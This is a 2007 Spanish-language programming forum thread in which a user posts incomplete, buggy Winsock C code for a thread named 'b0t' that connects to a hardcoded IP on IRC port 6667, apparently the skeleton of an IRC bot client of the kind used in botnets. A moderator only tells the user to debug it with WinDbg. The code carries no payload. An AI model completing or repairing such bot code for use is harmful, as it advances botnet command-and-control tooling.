• Domingo 15 de Diciembre de 2024, 14:48

Autor Tema:  No Conecta :(  (Leído 1011 veces)

Rozor

  • Nuevo Miembro
  • *
  • Mensajes: 14
    • Ver Perfil
No Conecta :(
« en: Lunes 8 de Octubre de 2007, 23:21 »
0
Que fallo tiene el codigo?.

El problema esta en que no conecta, por que le he puesto localhost con netcat a la escucha y nada :'( .


Código: Text
  1.  
  2.  
  3. extern DWORD WINAPI b0t(LPVOID param)
  4. {
  5.        SOCKET sock;
  6.        WSADATA wsa;
  7.        SECURITY_ATTRIBUTES sa;
  8.        WSAPROTOCOL_INFO wsinfo;
  9.       // struct hostent *host;
  10.        struct sockaddr_in mysock;
  11.        static char recvbuff[2050];
  12.        static char sendbuff[2050];
  13.        
  14.        //host = gethostbyname("xxxxxx");
  15.        
  16.        mysock.sin_family = 0x02;
  17.        mysock.sin_port = 0x0b1a; // 6667
  18.        mysock.sin_addr.s_addr = 0x6F271448; //inet_ntoa(*((struct in_addr *)host->h_addr));
  19.        ZeroMemory(&(mysock.sin_zero), 8); // memset
  20.  
  21.        
  22.        wsinfo.dwServiceFlags1 = 0x0400;
  23.        wsinfo.dwServiceFlags2 = 0x02;
  24.        wsinfo.dwServiceFlags3 = 0x80;
  25.        wsinfo.dwProviderFlags = 0x02;
  26.        wsinfo.iVersion = 0x18;
  27.        wsinfo.iAddressFamily = 0x02;
  28.        wsinfo.iSocketType = 0x01;
  29.        wsinfo.iProtocol = 0x06;
  30.        wsinfo.iSecurityScheme = 0x00;
  31.        wsinfo.dwMessageSize = 0xFFFFFFFF;
  32.        
  33.                                    
  34.              
  35.        if(WSAStartup(0x101, &wsa)!= 0) { TerminateThread(Thr_b0t, 0x00); }
  36.        
  37.        sock = WSASocket(0x02,0x01,0x06,&wsinfo,0x01,0x08);
  38.        
  39.        if(connect(sock, (struct sockaddr *)&mysock, sizeof(mysock)) == 0xFFFFFFFF)
  40.        {
  41.               return 0;
  42.        }
  43.        
  44.        send(sock, "\x0A\x00\x00", 0x04, 0x00);
  45.        Sleep(500);
  46.        while(TRUE)
  47.        {
  48.                  
  49.              recv(sock, recvbuff, 200, 0x00);
  50.        
  51.        }
  52.        printf("\nRecv: %s\n\n");
  53.        system("PAUSE");
  54.        closesocket(sock);
  55.        WSACleanup();
  56.        
  57.        return 0;      
  58.                                            
  59. }
  60.  
  61.  
  62.  

Eternal Idol

  • Moderador
  • ******
  • Mensajes: 4696
  • Nacionalidad: ar
    • Ver Perfil
Re: No Conecta :(
« Respuesta #1 en: Lunes 8 de Octubre de 2007, 23:42 »
0
¿Es tu codigo? ... Depuralo.

Nacional y Popular En mi país la bandera de Eva es inmortal.


Queremos una Argentina socialmente justa, económicamente libre y  políticamente soberana.
¡Perón cumple, Evita dignifica!


La mano invisible del mercado me robo la billetera.

Rozor

  • Nuevo Miembro
  • *
  • Mensajes: 14
    • Ver Perfil
Re: No Conecta :(
« Respuesta #2 en: Viernes 12 de Octubre de 2007, 03:17 »
0
Si es mio, sorry no tenia vc y con devcpp no me apaño jejeje :P .

Eternal Idol

  • Moderador
  • ******
  • Mensajes: 4696
  • Nacionalidad: ar
    • Ver Perfil
Re: No Conecta :(
« Respuesta #3 en: Viernes 12 de Octubre de 2007, 08:10 »
0
Bueno, usa el WinDbg, es gratis.

Nacional y Popular En mi país la bandera de Eva es inmortal.


Queremos una Argentina socialmente justa, económicamente libre y  políticamente soberana.
¡Perón cumple, Evita dignifica!


La mano invisible del mercado me robo la billetera.